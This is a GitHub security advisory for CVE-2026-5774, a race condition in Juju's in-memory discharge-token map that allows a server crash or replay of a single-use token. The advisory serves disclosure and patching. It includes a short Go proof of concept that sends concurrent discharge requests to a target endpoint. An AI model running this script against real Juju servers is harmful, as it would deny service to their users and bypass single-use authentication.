GHSA-7M55-2HR4-PW78
Vulnerability from github – Published: 2026-04-10 21:00 – Updated: 2026-04-10 21:00Summary
The localLoginHandlers struct in the Juju API server maintains an in-memory map to store discharge tokens following successful local authentication. This map is accessed concurrently from multiple HTTP handler goroutines without any synchronization primitive protecting it. The absence of a mutex or equivalent mechanism means that concurrent reads, writes, and deletes on the map can trigger Go runtime panics and may allow a discharge token to be consumed more than once before deletion completes.
Details
When a user authenticates through the local login flow, a discharge token is generated and stored in a plain map[string]string field named userTokens. The form handler writes to this map when authentication succeeds, and the third-party caveat checker reads from and deletes from the same map when a discharge request arrives. Both code paths execute inside goroutines dispatched by the HTTP server, meaning concurrent requests will access the map simultaneously.
Go's runtime detects concurrent map access and will terminate the process with a fatal error when a write races with another write or read. This makes the API server susceptible to a denial-of-service attack from any authenticated user who can trigger simultaneous discharge requests. Beyond the crash scenario, the read-then-delete sequence in the caveat checker is not atomic. Two goroutines processing the same token concurrently may both pass the existence check before either executes the deletion, allowing a single-use discharge token to be accepted more than once and effectively replaying authentication.
The struct definition that introduces the unsafe field is shown below.
type localLoginHandlers struct {
authCtxt *authContext
userTokens map[string]string
}
The concurrent access originates from the caveat checker calling username, ok := h.userTokens[tokenString] followed by delete(h.userTokens, tokenString) with no lock held, while formHandler concurrently executes h.userTokens[token] = username in a separate goroutine.
PoC
package main
import (
"net/http"
"sync"
)
func main() {
token := "acquired-discharge-token"
endpoint := "https://target-juju-api:17070/local-login/discharge"
var wg sync.WaitGroup
for i := 0; i < 20; i++ {
wg.Add(1)
go func() {
defer wg.Done()
req, _ := http.NewRequest("GET", endpoint+"?token="+token, nil)
http.DefaultClient.Do(req)
}()
}
wg.Wait()
}
Impact
Any authenticated user who obtains a valid discharge token can send a burst of concurrent requests to the discharge endpoint. The most reliable outcome is a Go runtime panic caused by concurrent map access, which terminates the Juju API server process and denies service to all connected clients and agents. Under favorable timing conditions the same token may be accepted by multiple goroutines before deletion, bypassing the single-use enforcement and allowing repeated authentication with a token that should have been invalidated after first use.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/juju/juju"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260408003526-d395054dc2c3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-5774"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T21:00:35Z",
"nvd_published_at": "2026-04-10T13:16:46Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe localLoginHandlers struct in the Juju API server maintains an in-memory map to store discharge tokens following successful local authentication. This map is accessed concurrently from multiple HTTP handler goroutines without any synchronization primitive protecting it. The absence of a mutex or equivalent mechanism means that concurrent reads, writes, and deletes on the map can trigger Go runtime panics and may allow a discharge token to be consumed more than once before deletion completes.\n\n### Details\n\nWhen a user authenticates through the local login flow, a discharge token is generated and stored in a plain `map[string]string` field named userTokens. The form handler writes to this map when authentication succeeds, and the third-party caveat checker reads from and deletes from the same map when a discharge request arrives. Both code paths execute inside goroutines dispatched by the HTTP server, meaning concurrent requests will access the map simultaneously.\n\nGo\u0027s runtime detects concurrent map access and will terminate the process with a fatal error when a write races with another write or read. This makes the API server susceptible to a denial-of-service attack from any authenticated user who can trigger simultaneous discharge requests. Beyond the crash scenario, the read-then-delete sequence in the caveat checker is not atomic. Two goroutines processing the same token concurrently may both pass the existence check before either executes the deletion, allowing a single-use discharge token to be accepted more than once and effectively replaying authentication.\n\nThe struct definition that introduces the unsafe field is shown below.\n\n```go\ntype localLoginHandlers struct {\n authCtxt *authContext\n userTokens map[string]string\n}\n```\n\nThe concurrent access originates from the caveat checker calling `username, ok := h.userTokens[tokenString]` followed by `delete(h.userTokens, tokenString)` with no lock held, while formHandler concurrently executes `h.userTokens[token] = username` in a separate goroutine.\n\n### PoC\n\n```go\npackage main\n\nimport (\n \"net/http\"\n \"sync\"\n)\n\nfunc main() {\n token := \"acquired-discharge-token\"\n endpoint := \"https://target-juju-api:17070/local-login/discharge\"\n\n var wg sync.WaitGroup\n for i := 0; i \u003c 20; i++ {\n wg.Add(1)\n go func() {\n defer wg.Done()\n req, _ := http.NewRequest(\"GET\", endpoint+\"?token=\"+token, nil)\n http.DefaultClient.Do(req)\n }()\n }\n wg.Wait()\n}\n```\n\n### Impact\n\nAny authenticated user who obtains a valid discharge token can send a burst of concurrent requests to the discharge endpoint. The most reliable outcome is a Go runtime panic caused by concurrent map access, which terminates the Juju API server process and denies service to all connected clients and agents. Under favorable timing conditions the same token may be accepted by multiple goroutines before deletion, bypassing the single-use enforcement and allowing repeated authentication with a token that should have been invalidated after first use.",
"id": "GHSA-7m55-2hr4-pw78",
"modified": "2026-04-10T21:00:35Z",
"published": "2026-04-10T21:00:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/juju/juju/security/advisories/GHSA-7m55-2hr4-pw78"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5774"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/pull/22205"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/pull/22206"
},
{
"type": "PACKAGE",
"url": "https://github.com/juju/juju"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Juju: In-Memory Token Store for Discharge Tokens Lacks Concurrency Safety and Persistence"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.